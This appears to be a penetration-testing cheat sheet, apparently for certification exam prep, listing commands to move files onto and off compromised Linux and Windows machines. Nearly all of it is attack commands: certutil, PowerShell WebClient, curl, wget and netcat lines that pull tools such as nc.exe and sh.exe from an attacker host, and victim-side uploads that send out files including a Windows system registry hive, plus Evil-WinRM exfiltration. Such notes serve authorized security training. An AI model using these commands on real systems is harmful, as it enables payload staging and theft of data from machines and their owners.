File Transfers

Linux (Always transfer to /tmp folder)

  1. Curl: curl -O /tmp/ http://<IP>/netcatarrow-up-right

  2. Wget: wget http://<IP>:<port>/netcatarrow-up-right

  3. SSH File Transfer: scp -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -P <PORT> student@<IP>:/challenge/xyz.zip .

  4. Netcat: nc -nlvp 4444 > incoming.exe (Windows)

  5. Netcat: nc -nv 10.11.0.22 4444 < /usr/share/windows-resources/binaries/wget.exe (Linux)

Linux (Data Exfiltration -> From Victim to Attacking Machine)

  1. Refer herearrow-up-right first, Clone the repository first and Change the paths below On Attacker: python3 SimpleHTTPServerWithUpload.py On Victim: curl -F 'file=@/opt/backup/testfile.zip' http://<IP>:8000/

  2. Netcat method (Google it)

  3. SCP through SSH (Google it)

Windows (Always transfer to \windows\temp folder)

  1. Method 1: certutil -urlcache -split -f 'http://<IP>/file.exe' file.exe

  2. Method 2: certutil -urlcache -split -f http://<IP>/file.exe file.exe

  3. Method 3 (Transfer directly to temp destination): certutil -urlcache -split -f http://<IP>:80/nc.exe C:\windows\temp\nc.exe

  4. Powershell method: powershell.exe -c "(New-Object System.Net.WebClient).DownloadFile('http://<IP>:443/sh.exe', 'sh.exe')"

  5. Curl Method: curl.exe http://<IP>:80/file.exe -o file.exe

  6. Curl Method 2: curl.exe <IP>/nc.exe -o nc.exe

  7. Powershell method 2: iwr -uri http://<IP>/file.exe -Outfile file.exe

  8. Learn the impacket smbshare method and tftp method too from the below article - It helps!

Windows (Data Exfiltration -> From Victim to Attacking Machine)

  1. My go-to method is: Refer herearrow-up-right On Attacker: python3 SimpleHTTPServerWithUpload.py On Victim: Change the path of the file to be transferred powershell.exe -c "(New-Object System.Net.WebClient).UploadFile('http://<IP>:8000/', 'C:\windows.old\Windows\System32\system')" OR On Victim: Change the path of the file to be transferred curl -F 'file=@/opt/backup/file.zip' http://<IP>:8000/

  2. 0xdf Method is also nice: Refer herearrow-up-right

  3. MOST IMPORTANT: Learn how to exfil data using Evil-winrm with the download feature, it will come in very handy and is one of the most important parts of the exam, refer herearrow-up-right. download <File to be exfiltrated location> <Local location where it should be exfiltrated>

Last updated